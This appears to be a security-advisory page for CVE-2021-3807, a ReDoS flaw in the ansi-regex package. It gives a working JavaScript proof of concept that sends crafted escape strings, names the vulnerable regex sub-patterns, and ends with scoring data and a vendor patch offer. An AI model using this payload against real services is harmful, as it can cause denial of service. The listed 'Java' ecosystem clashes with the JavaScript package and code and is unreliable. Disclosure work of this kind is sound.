All vulnerabilities
CVE-2021-3807
Inefficient Regular Expression Complexity in chalk/ansi-regex
Description
ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.
Proof of Concept
import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = "\u001B["+";".repeat(i*10000);
ansiRegex().test(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*
Patch Available
Fix available through Seal Security. No upgrade required, protect your application instantly.
Fix without upgrading
Score
7.5
Severity
High
Ecosystem
Java
Publish Date
September 20, 2021
Modified Date
February 3, 2026
Score Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Affected Versions

